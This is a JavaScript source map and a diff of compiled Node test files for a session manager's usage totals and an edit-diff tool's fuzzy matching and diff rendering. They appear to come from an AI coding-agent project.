{"version":3,"file":"session-manager.test.js","sourceRoot":"","sources":["../../src/core/session-manager.test.ts"],"names":[],"mappings":"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","sourcesContent":["import assert from \"node:assert/strict\";\nimport { describe, it, afterEach } from \"node:test\";\nimport { mkdtempSync, rmSync } from \"node:fs\";\nimport { join } from \"node:path\";\nimport { tmpdir } from \"node:os\";\n\nimport { SessionManager } from \"./session-manager.js\";\n\nfunction makeAssistantMessage(input: number, output: number, cacheRead = 0, cacheWrite = 0, cost = 0) {\n\treturn {\n\t\trole: \"assistant\",\n\t\tcontent: [{ type: \"text\", text: \"ok\" }],\n\t\tusage: {\n\t\t\tinput,\n\t\t\toutput,\n\t\t\tcacheRead,\n\t\t\tcacheWrite,\n\t\t\ttotal: input + output + cacheRead + cacheWrite,\n\t\t\tcost: { total: cost },\n\t\t},\n\t} as any;\n}\n\ndescribe(\"SessionManager usage totals\", () => {\n\tlet dir: string;\n\n\tafterEach(() => {\n\t\tif (dir) {\n\t\t\trmSync(dir, { recursive: true, force: true });\n\t\t}\n\t});\n\n\tit(\"tracks assistant usage incrementally without rescanning entries\", () => {\n\t\tdir = mkdtempSync(join(tmpdir(), \"gsd-session-manager-test-\"));\n\t\tconst manager = SessionManager.create(dir, dir);\n\n\t\tmanager.appendMessage({ role: \"user\", content: [{ type: \"text\", text: \"hello\" }] } as any);\n\t\tmanager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));\n\t\tmanager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));\n\n\t\tassert.deepEqual(manager.getUsageTotals(), {\n\t\t\tinput: 17,\n\t\t\toutput: 9,\n\t\t\tcacheRead: 4,\n\t\t\tcacheWrite: 2,\n\t\t\tcost: 0.35,\n\t\t});\n\t});\n\n\tit(\"resets totals when starting a new session\", () => {\n\t\tdir = mkdtempSync(join(tmpdir(), \"gsd-session-manager-test-\"));\n\t\tconst manager = SessionManager.create(dir, dir);\n\t\tmanager.appendMessage(makeAssistantMessage(5, 5, 0, 0, 0.05));\n\t\tassert.equal(manager.getUsageTotals().input, 5);\n\n\t\tmanager.newSession();\n\t\tassert.deepEqual(manager.getUsageTotals(), {\n\t\t\tinput: 0,\n\t\t\toutput: 0,\n\t\t\tcacheRead: 0,\n\t\t\tcacheWrite: 0,\n\t\t\tcost: 0,\n\t\t});\n\t});\n});\n"]}
|
|
@@ -47,20 +47,18 @@ describe("edit-diff", () => {
|
|
|
47
47
|
assert.ok(result.firstChangedLine !== undefined);
|
|
48
48
|
assert.match(result.diff, /CHANGED/);
|
|
49
49
|
});
|
|
50
|
-
it("computes diffs for preview without native helpers", async () => {
|
|
50
|
+
it("computes diffs for preview without native helpers", async (t) => {
|
|
51
51
|
const dir = mkdtempSync(join(tmpdir(), "edit-diff-test-"));
|
|
52
|
-
|
|
53
|
-
const file = join(dir, "sample.ts");
|
|
54
|
-
writeFileSync(file, "const title = “Hello”;\n", "utf-8");
|
|
55
|
-
const result = await computeEditDiff(file, "const title = \"Hello\";\n", "const title = \"Hi\";\n", dir);
|
|
56
|
-
assert.ok(!("error" in result), "expected a diff result");
|
|
57
|
-
if (!("error" in result)) {
|
|
58
|
-
assert.equal(result.firstChangedLine, 1);
|
|
59
|
-
assert.match(result.diff, /\+1 const title = "Hi";/);
|
|
60
|
-
}
|
|
61
|
-
}
|
|
62
|
-
finally {
|
|
52
|
+
t.after(() => {
|
|
63
53
|
rmSync(dir, { recursive: true, force: true });
|
|
54
|
+
});
|
|
55
|
+
const file = join(dir, "sample.ts");
|
|
56
|
+
writeFileSync(file, "const title = “Hello”;\n", "utf-8");
|
|
57
|
+
const result = await computeEditDiff(file, "const title = \"Hello\";\n", "const title = \"Hi\";\n", dir);
|
|
58
|
+
assert.ok(!("error" in result), "expected a diff result");
|
|
59
|
+
if (!("error" in result)) {
|
|
60
|
+
assert.equal(result.firstChangedLine, 1);
|
|
61
|
+
assert.match(result.diff, /\+1 const title = "Hi";/);
|
|
64
62
|
}
|
|
65
63
|
});
|
|
66
64
|
});
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"edit-diff.test.js","sourceRoot":"","sources":["../../../src/core/tools/edit-diff.test.ts"],"names":[],"mappings":"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
|
|
1
|
+
{"version":3,"file":"edit-diff.test.js","sourceRoot":"","sources":["../../../src/core/tools/edit-diff.test.ts"],"names":[],"mappings":"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","sourcesContent":["import assert from \"node:assert/strict\";\nimport { mkdtempSync, rmSync, writeFileSync } from \"node:fs\";\nimport { tmpdir } from \"node:os\";\nimport { join } from \"node:path\";\nimport { describe, it } from \"node:test\";\n\nimport {\n\tcomputeEditDiff,\n\tfuzzyFindText,\n\tgenerateDiffString,\n\tnormalizeForFuzzyMatch,\n} from \"./edit-diff.js\";\n\ndescribe(\"edit-diff\", () => {\n\tit(\"normalizes quotes, dashes, spaces, and trailing whitespace\", () => {\n\t\tconst input = \"“hello”\\u00A0world — test \\nnext\\t\\t\\n\";\n\t\tassert.equal(normalizeForFuzzyMatch(input), \"\\\"hello\\\" world - test\\nnext\\n\");\n\t});\n\n\tit(\"falls back to fuzzy matching when unicode punctuation differs\", () => {\n\t\tconst result = fuzzyFindText(\"const title = “Hello”;\\n\", \"const title = \\\"Hello\\\";\\n\");\n\t\tassert.equal(result.found, true);\n\t\tassert.equal(result.usedFuzzyMatch, true);\n\t\tassert.equal(result.contentForReplacement, \"const title = \\\"Hello\\\";\\n\");\n\t});\n\n\tit(\"renders numbered diffs with the first changed line\", () => {\n\t\tconst result = generateDiffString(\"line 1\\nline 2\\nline 3\\n\", \"line 1\\nline two\\nline 3\\n\");\n\t\tassert.equal(result.firstChangedLine, 2);\n\t\tassert.match(result.diff, /-2 line 2/);\n\t\tassert.match(result.diff, /\\+2 line two/);\n\t});\n\n\tit(\"respects contextLines and inserts separators for distant changes\", () => {\n\t\tconst lines = Array.from({ length: 20 }, (_, i) => `line ${i + 1}`);\n\t\tconst oldContent = lines.join(\"\\n\") + \"\\n\";\n\t\tconst modified = [...lines];\n\t\tmodified[1] = \"changed 2\"; // line 2\n\t\tmodified[17] = \"changed 18\"; // line 18\n\t\tconst newContent = modified.join(\"\\n\") + \"\\n\";\n\n\t\tconst result = generateDiffString(oldContent, newContent, 2);\n\t\t// Should contain separator between the two distant change regions\n\t\tassert.match(result.diff, /\\.\\.\\./);\n\t\t// Should NOT contain lines far from changes (e.g. line 10)\n\t\tassert.doesNotMatch(result.diff, /line 10/);\n\t\t// Should contain the changed lines\n\t\tassert.match(result.diff, /changed 2/);\n\t\tassert.match(result.diff, /changed 18/);\n\t});\n\n\tit(\"handles large files without OOM by falling back to linear diff\", () => {\n\t\t// Create files large enough to exceed the DP threshold\n\t\tconst lineCount = 3000;\n\t\tconst oldLines = Array.from({ length: lineCount }, (_, i) => `line ${i}`);\n\t\tconst newLines = [...oldLines];\n\t\tnewLines[1500] = \"CHANGED\";\n\t\tconst result = generateDiffString(oldLines.join(\"\\n\") + \"\\n\", newLines.join(\"\\n\") + \"\\n\");\n\t\tassert.ok(result.firstChangedLine !== undefined);\n\t\tassert.match(result.diff, /CHANGED/);\n\t});\n\n\tit(\"computes diffs for preview without native helpers\", async (t) => {\n\t\tconst dir = mkdtempSync(join(tmpdir(), \"edit-diff-test-\"));\n\t\tt.after(() => {\n\t\t\trmSync(dir, { recursive: true, force: true });\n\t\t});\n\n\t\tconst file = join(dir, \"sample.ts\");\n\t\twriteFileSync(file, \"const title = “Hello”;\\n\", \"utf-8\");\n\n\t\tconst result = await computeEditDiff(\n\t\t\tfile,\n\t\t\t\"const title = \\\"Hello\\\";\\n\",\n\t\t\t\"const title = \\\"Hi\\\";\\n\",\n\t\t\tdir,\n\t\t);\n\n\t\tassert.ok(!(\"error\" in result), \"expected a diff result\");\n\t\tif (!(\"error\" in result)) {\n\t\t\tassert.equal(result.firstChangedLine, 1);\n\t\t\tassert.match(result.diff, /\\+1 const title = \"Hi\";/);\n\t\t}\n\t});\n});\n"]}
|